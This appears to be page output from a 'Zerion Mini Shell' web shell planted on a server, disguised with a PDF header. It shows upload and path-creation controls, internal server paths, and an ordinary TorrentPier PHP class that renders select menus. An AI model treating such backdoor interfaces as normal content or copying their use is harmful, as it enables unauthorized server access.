%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /data/www_bck/varak.cloud_bck/tracker.varak.cloud/src/Legacy/
Upload File :
Create Path :
Current File : //data/www_bck/varak.cloud_bck/tracker.varak.cloud/src/Legacy/Select.php

<?php
/**
 * TorrentPier – Bull-powered BitTorrent tracker engine
 *
 * @copyright Copyright (c) 2005-2018 TorrentPier (https://torrentpier.com)
 * @link      https://github.com/torrentpier/torrentpier for the canonical source repository
 * @license   https://github.com/torrentpier/torrentpier/blob/master/LICENSE MIT License
 */

namespace TorrentPier\Legacy;

/**
 * Class Select
 * @package TorrentPier\Legacy
 */
class Select
{
    /**
     * Select forum language
     *
     * @param string $default_lang
     * @param string $select_name
     * @return string
     */
    public static function language($default_lang, $select_name = 'language')
    {
        global $bb_cfg;

        $lang_default = reset($bb_cfg['lang']);
        $lang_select = '<select name="' . $select_name . '">';
        $x = 0;
        foreach ($bb_cfg['lang'] as $key => $data) {
            $selected = '';
            if ($key == $default_lang) {
                $selected = ' selected="selected"';
            }
            $lang_select .= '<option value="' . $key . '"' . $selected . '>' . $data['name'] . '</option>';
            $x++;
        }
        $lang_select .= '</select>';
        return ($x > 1) ? $lang_select : $lang_default['name'];
    }

    /**
     * Select forum timezone
     *
     * @param string $default
     * @param string $select_name
     *
     * @return string
     */
    public static function timezone($default, $select_name = 'timezone')
    {
        global $sys_timezone, $lang;

        if (!isset($default)) {
            $default = $sys_timezone;
        }
        $tz_select = '<select name="' . $select_name . '">';

        foreach ($lang['TZ'] as $offset => $zone) {
            $selected = ($offset == $default) ? ' selected="selected"' : '';
            $tz_select .= '<option value="' . $offset . '"' . $selected . '>' . $zone . '</option>';
        }
        $tz_select .= '</select>';

        return $tz_select;
    }

    /**
     * Select forum template
     *
     * @param string $default_style
     * @param string $select_name
     *
     * @return string
     */
    public static function template($default_style, $select_name = 'tpl_name')
    {
        global $bb_cfg;

        $templates_select = '<select name="' . $select_name . '">';
        $x = 0;
        foreach ($bb_cfg['templates'] as $folder => $name) {
            $selected = '';
            if ($folder == $default_style) {
                $selected = ' selected="selected"';
            }
            $templates_select .= '<option value="' . $folder . '"' . $selected . '>' . $name . '</option>';
            $x++;
        }
        $templates_select .= '</select>';
        return ($x > 1) ? $templates_select : reset($bb_cfg['templates']);
    }
}

Zerion Mini Shell 1.0